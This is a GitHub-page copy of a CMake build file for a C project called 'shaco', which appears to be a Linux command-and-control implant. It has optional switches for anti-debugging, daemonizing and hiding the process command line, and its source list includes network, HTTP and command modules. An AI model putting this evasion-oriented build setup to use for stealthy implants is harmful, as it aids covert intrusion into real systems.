-
Notifications
You must be signed in to change notification settings - Fork 24
Expand file tree
/
Copy pathCMakeLists.txt
More file actions
93 lines (75 loc) · 2.61 KB
/
CMakeLists.txt
File metadata and controls
93 lines (75 loc) · 2.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
cmake_minimum_required(VERSION 3.0)
project(shaco C)
set(CMAKE_C_COMPILER clang)
if( NOT DEFINED COMPILE_ARCH)
set(COMPILE_ARCH "x64")
endif()
if(NOT DEFINED CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Debug)
endif()
if( NOT DEFINED COMPILE_LIB )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static")
endif()
if(DEFINED AntiDebug)
add_compile_definitions(ANTIDEBUG)
endif()
if(DEFINED Daemon)
add_compile_definitions(DAEMONIZE)
endif()
if(DEFINED HIDE_CMDLINE)
add_compile_definitions(HIDE_CMDLINE)
endif()
if(COMPILE_ARCH STREQUAL "x86")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -m32")
elseif(COMPILE_ARCH STREQUAL "x64")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -m64")
elseif(COMPILE_ARCH STREQUAL "arm")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -target armv7a-linux-gnueabihf -march=armv7-a")
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -target armv7a-linux-gnueabihf")
endif()
if(CMAKE_BUILD_TYPE MATCHES Debug)
message("Compiling in debug mode")
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Og")
add_compile_definitions(DEBUG)
else()
message("Compiling in release mode")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fPIC -Oz -flto -Wno-write-strings -fomit-frame-pointer -fno-exceptions -fmerge-all-constants -fdata-sections -ffunction-sections")
add_compile_definitions(Release)
endif()
set(
SHACO_SOURCES
shaco.c
Common/shaco_stdlib.c
Common/shaco_syscall.c
Common/Default.c
Common/Network.c
Config/OSConfig.c
Config/Settings.c
Helpers/Protect.c
Helpers/Http.c
Protocol/Packer.c
Core/Core.c
Core/Communication.c
Core/Commands.c
)
if( NOT DEFINED COMPILE_LIB )
add_executable( ${PROJECT_NAME} ${SHACO_SOURCES})
if(COMPILE_ARCH STREQUAL "x86")
set_target_properties(${PROJECT_NAME} PROPERTIES COMPILE_FLAGS "-m32")
elseif(COMPILE_ARCH STREQUAL "x64")
set_target_properties(${PROJECT_NAME} PROPERTIES COMPILE_FLAGS "-m64")
elseif(COMPILE_ARCH STREQUAL "arm")
set_target_properties(${PROJECT_NAME} PROPERTIES COMPILE_FLAGS "-march=armv7-a")
endif()
else()
add_library(${PROJECT_NAME} SHARED ${SHACO_SOURCES})
set_target_properties(${PROJECT_NAME} PROPERTIES POSITION_INDEPENDENT_CODE ON)
if(COMPILE_ARCH STREQUAL "x86")
set_target_properties(${PROJECT_NAME} PROPERTIES COMPILE_FLAGS "-m32")
elseif(COMPILE_ARCH STREQUAL "x64")
set_target_properties(${PROJECT_NAME} PROPERTIES COMPILE_FLAGS "-m64")
elseif(COMPILE_ARCH STREQUAL "arm")
set_target_properties(${PROJECT_NAME} PROPERTIES COMPILE_FLAGS "-march=armv7-a")
endif()
endif()